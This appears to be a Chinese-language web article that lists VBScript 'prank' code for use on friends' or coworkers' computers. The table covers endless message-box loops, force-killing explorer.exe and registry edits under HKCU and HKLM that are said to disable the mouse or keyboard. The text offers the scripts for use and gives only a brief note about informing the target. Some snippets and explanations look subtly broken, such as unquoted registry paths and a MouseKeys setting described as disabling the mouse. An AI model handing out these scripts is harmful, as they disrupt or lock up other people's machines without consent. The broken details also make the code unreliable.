【求大量VBS整人代码】在日常生活中，很多人喜欢用一些简单的脚本来“整”朋友或同事，VBS（Visual Basic Script）作为一种常见的脚本语言，因其简单易用、无需安装即可运行的特点，成为了很多人的“整人利器”。下面是一些常见且有趣的VBS整人代码，供参考。
一、
VBS脚本虽然功能有限，但通过简单的命令可以实现很多“恶作剧”效果。以下是一些常见的VBS整人代码类型，包括弹窗、关闭窗口、修改系统设置等。使用这些代码时，请确保对方已知情，避免造成不必要的困扰。
二、常见VBS整人代码汇总
| 功能 | 代码示例 | 说明 |
| 弹出多个提示框 | ```vbs Set WshShell = CreateObject("WScript.Shell") For i = 1 To 10 WshShell.Popup "你被我整了！", 5, "警告" Next ``` | 每隔5秒弹出一次提示框，共10次 |
| 禁用鼠标 | ```vbs Set obj = CreateObject("WScript.Shell") obj.Run "reg add HKEY_CURRENT_USER\Control Panel\Desktop /v MouseKeys /t REG_DWORD /d 1 /f", 0, True ``` | 启用鼠标键功能，使鼠标无法使用 |
| 关闭所有窗口 | ```vbs Set obj = CreateObject("WScript.Shell") obj.Run "taskkill /F /IM notepad.exe", 0, True obj.Run "taskkill /F /IM explorer.exe", 0, True ``` | 强制关闭记事本和资源管理器 |
| 无限循环弹窗 | ```vbs Do MsgBox "你又被我整了！", vbExclamation, "整人提醒" Loop ``` | 无限弹窗，需手动结束脚本 |
| 修改桌面背景 | ```vbs Set WshShell = CreateObject("WScript.Shell") WshShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", "C:\Windows\Web\Wallpaper\Windows\img1.jpg" WshShell.Run "rundll32.exe user32.dll, UpdatePerUserSystemParameters" ``` | 更改桌面背景为指定图片 |
| 阻止键盘输入 | ```vbs Set WshShell = CreateObject("WScript.Shell") WshShell.Run "reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout /v Scancode Map /t REG_BINARY /d 01000000000000000000000000000000", 0, True ``` | 禁用键盘输入，需重启生效 |
